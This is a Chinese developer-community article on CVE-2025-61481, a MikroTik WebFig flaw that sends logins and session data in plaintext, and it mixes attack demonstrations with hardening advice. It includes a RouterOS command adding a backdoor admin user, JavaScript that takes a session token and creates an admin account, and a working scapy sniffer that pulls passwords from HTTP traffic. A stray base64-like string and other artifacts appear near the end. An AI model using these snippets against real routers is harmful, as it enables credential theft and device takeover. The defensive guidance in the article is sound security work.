首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2025-61481:MikroTik WebFig 严重漏洞(RCE + 凭证泄露)深度剖析与防御指南

CVE-2025-61481:MikroTik WebFig 严重漏洞(RCE + 凭证泄露)深度剖析与防御指南

原创
作者头像
qife122
发布2026-02-18 11:31:49
发布2026-02-18 11:31:49
1740
举报

🚨 CVE-2025-61481 — MikroTik WebFig 严重漏洞 (RCE + 凭证泄露)

🕒 发布时间: 2025 | 💣 CVSS 10.0 (严重) | 🌐 影响版本: RouterOS v7.14.2 & SwitchOS v2.18

✨ 功能特性 (漏洞核心点)

  • 默认不安全性:WebFig 服务默认监听 HTTP (80端口),且未强制启用 HTTPS 重定向,导致所有流量默认以明文传输。
  • 凭证明文传输:用户的登录用户名和密码在登录过程中未加密,可直接被网络中的嗅探工具捕获。
  • 会话劫持:登录后用于维持会话的 sessionStorage 数据同样以明文传输,攻击者可窃取并使用这些数据冒充合法用户。
  • 远程代码执行:攻击者在获取设备管理权限后,可利用 WebFig 或其他管理接口执行任意系统命令,完全控制设备。
  • 配置篡改:攻击者可以修改路由器的防火墙规则、NAT 配置、VPN 设置等,导致网络中断或进一步的内网渗透。

📖 使用说明 (攻击与防御场景)

攻击场景复现 (仅限授权测试)

1. 中间人攻击与凭证捕获

如前文“安装指南”所述,攻击者通过 ARP 欺骗或被动嗅探,在受害者登录时截获其凭证。

捕获的 HTTP POST 请求示例:

代码语言:http
复制
POST /fig HTTP/1.1
Host: 192.168.88.1
User-Agent: Mozilla/5.0
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

username=admin&password=MySecretPassword
2. 登录与远程代码执行

攻击者使用捕获的凭证登录 WebFig。登录后,可以通过 WebFig 的“系统” -> “脚本”功能,或者直接使用 SSH 登录(如果已开启)来执行恶意命令。

通过 WebFig 执行命令示例:

攻击者可以在 WebFig 的脚本界面创建一个新脚本,内容如下,以创建后门用户:

代码语言:bash
复制
/user add name=attacker password=backdoor123 group=full

防御与加固指南

1. 强制启用 HTTPS

通过命令行或 WebFig 禁用 HTTP 并启用 HTTPS。

代码语言:bash
复制
# 通过 SSH 或控制台执行
/ip service set www disabled=yes
/ip service set www-ssl disabled=no
/ip service set www-ssl port=443

注意:首次启用 HTTPS 可能需要上传或生成证书。

2. 限制管理访问

创建严格的防火墙规则,只允许受信任的 IP 地址或 VLAN 访问管理端口。

代码语言:bash
复制
# 允许来自 192.168.10.0/24 的 IP 访问 HTTPS 管理端口
/ip firewall filter add chain=input protocol=tcp dst-port=443 src-address=192.168.10.0/24 action=accept
# 拒绝其他所有访问 443 端口的流量
/ip firewall filter add chain=input protocol=tcp dst-port=443 action=drop
# 同时确保限制 SSH (22) 和 API (8728) 等其他管理服务
3. 使用 VPN 进行管理

最佳实践是不要将任何管理服务直接暴露在网络上,而是通过 VPN(如 WireGuard, OpenVPN, L2TP/IPsec)连接后,再在内网进行管理。

4. 立即更新固件

关注 MikroTik 官方公告,并在补丁发布后第一时间升级到修复版本。


💻 核心代码分析

以下提供了在审计或利用此类漏洞时可能涉及的核心概念代码。

1. 模拟不安全的会话存储 (JavaScript)

此代码片段展示了当 WebFig 使用 HTTP 时,sessionStorage 中的数据是如何在客户端以明文形式存在的,并且容易通过 XSS 或其他方式被窃取。

代码语言:javascript
复制
// 模拟 WebFig 登录成功后的客户端操作
// 注意:以下代码仅为演示原理,非实际 WebFig 源码

// 假设登录成功后,服务器返回一个包含用户信息和会话令牌的响应
function onLoginSuccess(responseData) {
    // 敏感数据被明文存储在 sessionStorage 中
    sessionStorage.setItem('username', responseData.username); // 如 "admin"
    sessionStorage.setItem('sessionToken', responseData.sessionToken); // 如 "a1b2c3d4e5f6..."
    sessionStorage.setItem('userGroup', responseData.userGroup); // 如 "full"

    console.log("用户数据已存储到 sessionStorage (明文)");

    // 此后,每次 AJAX 请求都会从 sessionStorage 读取 token 并附加到 Header 中
}

// 攻击者若通过 XSS 或其他方式执行以下代码,即可窃取数据
function attackerStealData() {
    var stolenData = {
        user: sessionStorage.getItem('username'),
        token: sessionStorage.getItem('sessionToken'),
        group: sessionStorage.getItem('userGroup')
    };
    // 将 stolenData 发送到攻击者服务器
    console.log("数据被盗: ", stolenData);
}

// 如果网站未设置 HttpOnly 标志,攻击者甚至可能通过脚本创建新的管理员
function attackerCreateAdmin() {
    fetch('/rest/user/add', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'X-Token': sessionStorage.getItem('sessionToken') // 使用窃取的 token 认证
        },
        body: 'name=hacker&password=owned&group=full'
    });
}

2. 防御性配置:强制 HTTPS (RouterOS 脚本)

这是一个在 MikroTik 设备上通过命令行脚本强制启用 HTTPS 并禁用 HTTP 的标准操作,是修复此漏洞的核心步骤。

代码语言:bash
复制
# 文件名: force_https_webfig.rsc
# 描述: 用于 MikroTik RouterOS 的脚本,用于禁用不安全的 HTTP WebFig 并启用 HTTPS。

# 进入 IP 服务配置菜单
/ip service

# 禁用不安全的 HTTP 服务 (默认端口 80)
set www disabled=yes

# 启用 HTTPS 服务 (默认端口 443)
# 注意: 如果这是第一次启用,可能需要先生成一个自签名证书或上传证书。
set www-ssl disabled=no

# 确保 HTTPS 服务监听在正确的端口
set www-ssl port=443

# 可选: 限制谁可以访问 HTTPS 服务
# /ip firewall filter add chain=input protocol=tcp dst-port=443 src-address=192.168.1.0/24 action=accept
# /ip firewall filter add chain=input protocol=tcp dst-port=443 action=drop

# 打印当前服务状态进行确认
:put "WebFig 服务状态已更新:"
:put "HTTP (www) 已禁用"
:put "HTTPS (www-ssl) 已启用"

# 如果遇到证书问题,可以快速生成一个自签名证书:
# /certificate add name=webfig-cert common-name=<router_ip_or_domain> days-valid=3650 key-size=2048 trust
# /ip service set www-ssl certificate=webfig-cert

3. 攻击者视角:使用 Python 进行凭证嗅探

此 Python 脚本使用 scapy 库演示了攻击者如何在网络中嗅探包含特定关键字的 HTTP POST 数据包,以自动化捕获凭证。

代码语言:python
复制
#!/usr/bin/env python3
# 文件名: http_sniffer.py
# 描述: 一个简单的网络嗅探器,用于演示如何捕获明文 HTTP POST 中的凭证。
# 警告: 仅用于授权的安全测试和教育目的。

from scapy.all import *
import re

def packet_callback(packet):
    # 检查是否为 TCP 包,且包含原始负载 (Raw)
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        tcp_layer = packet.getlayer(TCP)
        raw_data = packet[Raw].load.decode(errors='ignore')

        # 简单判断是否为 HTTP POST 请求
        if "POST" in raw_data and "HTTP/1.1" in raw_data:
            # 检查是否可能发往 WebFig 路径 (/fig)
            if "/fig" in raw_data:
                print(f"[!] 捕获到潜在的 WebFig 登录流量")
                print(f"    源IP: {packet[IP].src}:{tcp_layer.sport} -> 目标IP: {packet[IP].dst}:{tcp_layer.dport}")

                # 尝试提取用户名和密码 (非常简单的正则,用于演示)
                user_match = re.search(r'username=([^&\s]*)', raw_data)
                pass_match = re.search(r'password=([^&\s]*)', raw_data)

                if user_match and pass_match:
                    print(f"[+] 凭证泄露! 用户名: {user_match.group(1)}, 密码: {pass_match.group(1)}")
                    print("-" * 50)

# 开始嗅探,例如监听 eth0 接口上的 80 端口流量
# 注意: 在真实环境中,可能需要更精细的过滤条件
print("[*] 开始嗅探 HTTP 流量 (端口 80)...")
sniff(filter="tcp port 80", prn=packet_callback, store=0)
```FINISHED
代码语言:txt
复制

6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ44Rz4Rxk27/zBesovNgOhq

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 🚨 CVE-2025-61481 — MikroTik WebFig 严重漏洞 (RCE + 凭证泄露)
    • ✨ 功能特性 (漏洞核心点)
    • 📖 使用说明 (攻击与防御场景)
      • 攻击场景复现 (仅限授权测试)
      • 防御与加固指南
    • 💻 核心代码分析
      • 1. 模拟不安全的会话存储 (JavaScript)
      • 2. 防御性配置:强制 HTTPS (RouterOS 脚本)
      • 3. 攻击者视角:使用 Python 进行凭证嗅探
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档